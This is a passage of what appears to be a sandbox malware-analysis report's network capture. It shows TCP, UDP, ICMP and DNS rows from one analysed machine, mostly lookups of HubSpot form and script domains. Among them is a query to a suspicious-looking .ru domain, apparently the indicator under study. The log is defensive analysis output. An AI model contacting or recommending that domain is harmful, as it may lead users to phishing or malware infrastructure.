Dec 16, 2024 18:46:41.419430017 CET	49996	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:46:41.419480085 CET	443	49996	35.190.80.1	192.168.2.17
Dec 16, 2024 18:46:41.419567108 CET	49996	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:46:41.419792891 CET	49996	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:46:41.419809103 CET	443	49996	35.190.80.1	192.168.2.17
Dec 16, 2024 18:46:41.610224962 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:41.613014936 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:41.613038063 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:41.613543034 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:41.613611937 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:41.614541054 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:41.614655972 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:41.614743948 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:41.614825010 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:41.614892006 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:41.658513069 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:41.658524036 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:41.706512928 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:42.408606052 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:42.408653975 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:42.408838987 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:42.408875942 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:42.452526093 CET	49988	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:42.640583038 CET	443	49996	35.190.80.1	192.168.2.17
Dec 16, 2024 18:46:42.689527988 CET	49996	443	192.168.2.17	35.190.80.1
Dec 16, 2024 18:46:43.029663086 CET	443	49995	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:43.070518017 CET	49995	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:43.408777952 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:43.408874035 CET	443	49988	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:43.408924103 CET	49988	443	192.168.2.17	172.217.19.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 18:44:47.632606983 CET	57676	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:21.141150951 CET	53	62730	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:22.211256027 CET	53	58386	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:22.231194019 CET	53	62196	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:23.898503065 CET	50193	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:23.898735046 CET	49275	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:23.911986113 CET	63906	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:23.912138939 CET	51008	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:24.016346931 CET	49172	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:24.016556025 CET	52523	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:24.039114952 CET	53	49275	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:24.040646076 CET	53	50193	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:24.042210102 CET	64046	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:24.042347908 CET	57452	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:24.053078890 CET	53	63906	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:24.054757118 CET	53	51008	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:24.153647900 CET	53	49172	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:24.164123058 CET	53	52523	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:24.179402113 CET	53	57452	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:24.179486990 CET	53	64046	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:25.064054966 CET	53	55953	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:25.718419075 CET	53755	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:25.718596935 CET	53622	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:25.854545116 CET	54189	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:25.855176926 CET	49938	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:25.857404947 CET	53	53755	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:25.858845949 CET	53	53622	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:25.861340046 CET	51603	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:25.861639023 CET	57431	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:25.862288952 CET	59787	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:25.862432957 CET	62148	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:25.863301992 CET	50466	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:25.863687038 CET	49874	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:25.994508028 CET	53	54189	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:25.995618105 CET	53	49938	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:26.001286983 CET	53	57431	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:26.001604080 CET	53	59787	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:26.002439976 CET	53	50466	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:26.003726006 CET	53	62148	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:26.010512114 CET	53	49874	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:26.010684013 CET	53	51603	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:26.864492893 CET	53267	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:26.864662886 CET	57461	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:26.896270990 CET	50159	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:26.896398067 CET	53285	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:27.001889944 CET	53	53267	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:27.001966953 CET	53	57461	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:27.034997940 CET	53	50159	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:27.035010099 CET	53	53285	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.114991903 CET	49586	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.115267038 CET	54320	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.162863970 CET	54589	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.163525105 CET	58157	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.166208029 CET	55961	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.166435003 CET	63577	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.181581020 CET	59725	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.181884050 CET	52679	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.194623947 CET	55931	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.194709063 CET	55700	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.252116919 CET	53	49586	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.252208948 CET	53	54320	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.301215887 CET	53	54589	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.301229954 CET	53	58157	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.304090023 CET	53	55961	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.306725979 CET	53	63577	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.320390940 CET	53	59725	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.322400093 CET	53	52679	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.332716942 CET	53	55700	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.333102942 CET	53	55931	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.659141064 CET	62966	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.659270048 CET	49904	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.662173033 CET	51720	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.662444115 CET	50538	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.695949078 CET	52739	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.696208000 CET	50379	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:28.796714067 CET	53	49904	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.796819925 CET	53	62966	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.799716949 CET	53	51720	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.799829006 CET	53	50538	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.837165117 CET	53	50379	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:28.837275982 CET	53	52739	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:30.064742088 CET	52679	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:30.064882994 CET	53583	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:30.102722883 CET	59372	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:30.102924109 CET	54248	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:30.202866077 CET	53	53583	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:30.202975035 CET	53	52679	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:30.239614964 CET	53	59372	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:30.239835978 CET	53	54248	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:30.517585993 CET	54001	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:30.517810106 CET	61663	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:30.587564945 CET	54396	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:30.587842941 CET	54140	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:30.655606031 CET	53	54001	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:30.656498909 CET	53	61663	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:30.727181911 CET	53	54140	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:30.727304935 CET	53	54396	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:33.861174107 CET	58547	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:33.861386061 CET	64378	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:34.476121902 CET	53	58547	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:34.476592064 CET	53	64378	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:38.683702946 CET	54005	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:38.685944080 CET	53269	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:38.823410988 CET	53	54005	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:38.825614929 CET	53	53269	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:40.965015888 CET	61480	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:40.965261936 CET	53780	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:41.103920937 CET	53	53780	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:41.107264996 CET	53	61480	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:41.182395935 CET	53	61557	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:41.406241894 CET	65189	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:41.406367064 CET	60724	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:41.543342113 CET	53	60724	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:41.543374062 CET	53	65189	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:41.919836044 CET	53	57707	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:43.671957970 CET	138	138	192.168.2.17	192.168.2.255
Dec 16, 2024 18:45:44.179476023 CET	52108	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:44.179610014 CET	57631	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:44.318594933 CET	53	57631	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:44.325309038 CET	53	52108	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:46.773499966 CET	57642	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:46.773694038 CET	60287	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:46.918924093 CET	53	57642	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:46.919353008 CET	53	60287	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:49.283061981 CET	61353	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:49.283195972 CET	64660	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:49.624604940 CET	53	61353	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:49.633114100 CET	53	64660	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:53.218215942 CET	55683	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:53.218385935 CET	61689	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:53.238389969 CET	62799	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:53.239039898 CET	57813	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:53.355359077 CET	53	55683	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:53.376741886 CET	53	62799	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:53.376768112 CET	53	57813	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:53.443362951 CET	53	61689	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:56.270361900 CET	53	55735	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:56.829744101 CET	60903	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:56.829929113 CET	64702	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:56.842731953 CET	53	52847	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:56.842787027 CET	53	55547	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:56.958234072 CET	53	63389	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:56.961764097 CET	53	62784	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:56.966567993 CET	53	60903	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:56.967058897 CET	53	64702	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:56.968142033 CET	53	63015	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:57.057136059 CET	53	55418	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:58.200970888 CET	52322	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:58.201427937 CET	54595	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:58.337981939 CET	53	52322	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:58.343044043 CET	53	54595	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:58.364022970 CET	53	63466	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:59.513884068 CET	53	56741	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:59.555790901 CET	53	62041	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:59.557862043 CET	53	53253	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:59.573935986 CET	58430	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:59.574145079 CET	52147	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:45:59.711002111 CET	53	58430	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:59.713174105 CET	53	52147	1.1.1.1	192.168.2.17
Dec 16, 2024 18:45:59.762721062 CET	53	64573	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:00.348269939 CET	53	63492	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:00.881232977 CET	53	62019	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:03.402132034 CET	63012	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:03.402249098 CET	64131	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:03.539444923 CET	53	64131	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:03.539592028 CET	53	63012	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:06.677824020 CET	53	62698	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:09.202016115 CET	49986	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:09.202207088 CET	65270	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:09.756879091 CET	53	49986	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:09.757062912 CET	53	65270	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:12.297189951 CET	53	57906	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:13.047332048 CET	64066	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:13.047458887 CET	50614	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:13.184828997 CET	53	64066	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:13.185760021 CET	53	50614	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:14.909667015 CET	64960	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:14.910180092 CET	60332	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:15.046925068 CET	53	64960	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:15.050451994 CET	53	60332	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:19.484662056 CET	53082	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:19.484662056 CET	59684	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:19.828484058 CET	53	53082	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:19.828793049 CET	53	59684	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:22.131002903 CET	53	52049	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:22.834914923 CET	53	64542	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:23.535914898 CET	60906	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:23.536192894 CET	54202	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:23.537895918 CET	55625	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:23.538022995 CET	60023	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:23.672981024 CET	53	60906	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:23.674179077 CET	53	54202	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:23.675622940 CET	53	55625	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:23.676224947 CET	53	60023	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:39.904853106 CET	54213	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:39.904998064 CET	53773	53	192.168.2.17	1.1.1.1
Dec 16, 2024 18:46:40.044018984 CET	53	54213	1.1.1.1	192.168.2.17
Dec 16, 2024 18:46:40.044914961 CET	53	53773	1.1.1.1	192.168.2.17

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 16, 2024 18:45:53.443449974 CET	192.168.2.17	1.1.1.1	c227	(Port unreachable)	Destination Unreachable
Dec 16, 2024 18:45:57.057204962 CET	192.168.2.17	1.1.1.1	c232	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 18:44:47.632606983 CET	192.168.2.17	1.1.1.1	0xfa06	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:23.898503065 CET	192.168.2.17	1.1.1.1	0x862f	Standard query (0)	static.hsappstatic.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:23.898735046 CET	192.168.2.17	1.1.1.1	0xa7b1	Standard query (0)	static.hsappstatic.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:23.911986113 CET	192.168.2.17	1.1.1.1	0xb328	Standard query (0)	js.hsforms.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:23.912138939 CET	192.168.2.17	1.1.1.1	0xb6ed	Standard query (0)	js.hsforms.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:24.016346931 CET	192.168.2.17	1.1.1.1	0x3ff1	Standard query (0)	js.hs-scripts.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.016556025 CET	192.168.2.17	1.1.1.1	0xbe78	Standard query (0)	js.hs-scripts.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:24.042210102 CET	192.168.2.17	1.1.1.1	0xff76	Standard query (0)	forms.hsforms.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.042347908 CET	192.168.2.17	1.1.1.1	0x9144	Standard query (0)	forms.hsforms.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:25.718419075 CET	192.168.2.17	1.1.1.1	0x5917	Standard query (0)	static.hsappstatic.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.718596935 CET	192.168.2.17	1.1.1.1	0x1b08	Standard query (0)	static.hsappstatic.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:25.854545116 CET	192.168.2.17	1.1.1.1	0x3119	Standard query (0)	js.hs-analytics.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.855176926 CET	192.168.2.17	1.1.1.1	0x17be	Standard query (0)	js.hs-analytics.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:25.861340046 CET	192.168.2.17	1.1.1.1	0xf2ee	Standard query (0)	js.hs-banner.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.861639023 CET	192.168.2.17	1.1.1.1	0xb441	Standard query (0)	js.hs-banner.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:25.862288952 CET	192.168.2.17	1.1.1.1	0x81de	Standard query (0)	js.hscollectedforms.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.862432957 CET	192.168.2.17	1.1.1.1	0xe056	Standard query (0)	js.hscollectedforms.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:25.863301992 CET	192.168.2.17	1.1.1.1	0x1efc	Standard query (0)	js.hs-scripts.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.863687038 CET	192.168.2.17	1.1.1.1	0xecc4	Standard query (0)	js.hs-scripts.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:26.864492893 CET	192.168.2.17	1.1.1.1	0xcd6a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.864662886 CET	192.168.2.17	1.1.1.1	0x791a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:26.896270990 CET	192.168.2.17	1.1.1.1	0x8de	Standard query (0)	js.hsforms.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.896398067 CET	192.168.2.17	1.1.1.1	0x2105	Standard query (0)	js.hsforms.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:28.114991903 CET	192.168.2.17	1.1.1.1	0x860b	Standard query (0)	js.hs-analytics.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.115267038 CET	192.168.2.17	1.1.1.1	0xffe6	Standard query (0)	js.hs-analytics.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:28.162863970 CET	192.168.2.17	1.1.1.1	0x8195	Standard query (0)	js.hs-banner.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.163525105 CET	192.168.2.17	1.1.1.1	0xc8b2	Standard query (0)	js.hs-banner.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:28.166208029 CET	192.168.2.17	1.1.1.1	0xcd7c	Standard query (0)	js.hscollectedforms.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.166435003 CET	192.168.2.17	1.1.1.1	0x255	Standard query (0)	js.hscollectedforms.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:28.181581020 CET	192.168.2.17	1.1.1.1	0x280f	Standard query (0)	forms.hscollectedforms.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.181884050 CET	192.168.2.17	1.1.1.1	0xa74a	Standard query (0)	forms.hscollectedforms.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:28.194623947 CET	192.168.2.17	1.1.1.1	0xb56b	Standard query (0)	track.hubspot.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.194709063 CET	192.168.2.17	1.1.1.1	0x78aa	Standard query (0)	track.hubspot.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:28.659141064 CET	192.168.2.17	1.1.1.1	0xaebf	Standard query (0)	forms.hsforms.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.659270048 CET	192.168.2.17	1.1.1.1	0xba2e	Standard query (0)	forms.hsforms.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:28.662173033 CET	192.168.2.17	1.1.1.1	0xc197	Standard query (0)	forms-na1.hsforms.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.662444115 CET	192.168.2.17	1.1.1.1	0xf4da	Standard query (0)	forms-na1.hsforms.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:28.695949078 CET	192.168.2.17	1.1.1.1	0xa80a	Standard query (0)	48192692.fs1.hubspotusercontent-na1.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.696208000 CET	192.168.2.17	1.1.1.1	0x9b00	Standard query (0)	48192692.fs1.hubspotusercontent-na1.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:30.064742088 CET	192.168.2.17	1.1.1.1	0xf37	Standard query (0)	forms.hscollectedforms.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.064882994 CET	192.168.2.17	1.1.1.1	0x5202	Standard query (0)	forms.hscollectedforms.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:30.102722883 CET	192.168.2.17	1.1.1.1	0xf265	Standard query (0)	track.hubspot.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.102924109 CET	192.168.2.17	1.1.1.1	0xb9fc	Standard query (0)	track.hubspot.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:30.517585993 CET	192.168.2.17	1.1.1.1	0x6fcc	Standard query (0)	forms-na1.hsforms.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.517810106 CET	192.168.2.17	1.1.1.1	0x3c69	Standard query (0)	forms-na1.hsforms.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:30.587564945 CET	192.168.2.17	1.1.1.1	0xdc7d	Standard query (0)	48192692.fs1.hubspotusercontent-na1.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.587842941 CET	192.168.2.17	1.1.1.1	0xb38a	Standard query (0)	48192692.fs1.hubspotusercontent-na1.net	65	IN (0x0001)	false
Dec 16, 2024 18:45:33.861174107 CET	192.168.2.17	1.1.1.1	0xf417	Standard query (0)	qb06.ffcwygff.ru	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:33.861386061 CET	192.168.2.17	1.1.1.1	0xa2e0	Standard query (0)	qb06.ffcwygff.ru	65	IN (0x0001)	false
Dec 16, 2024 18:45:38.683702946 CET	192.168.2.17	1.1.1.1	0x2765	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:38.685944080 CET	192.168.2.17	1.1.1.1	0xca39	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:40.965015888 CET	192.168.2.17	1.1.1.1	0x24a4	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:40.965261936 CET	192.168.2.17	1.1.1.1	0x9474	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:41.406241894 CET	192.168.2.17	1.1.1.1	0x6914	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:41.406367064 CET	192.168.2.17	1.1.1.1	0x4eba	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:44.179476023 CET	192.168.2.17	1.1.1.1	0x1e63	Standard query (0)	cdn.prod.website-files.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:44.179610014 CET	192.168.2.17	1.1.1.1	0xacdb	Standard query (0)	cdn.prod.website-files.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:46.773499966 CET	192.168.2.17	1.1.1.1	0xdde2	Standard query (0)	cdn.prod.website-files.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:46.773694038 CET	192.168.2.17	1.1.1.1	0x79e4	Standard query (0)	cdn.prod.website-files.com	65	IN (0x0001)	false
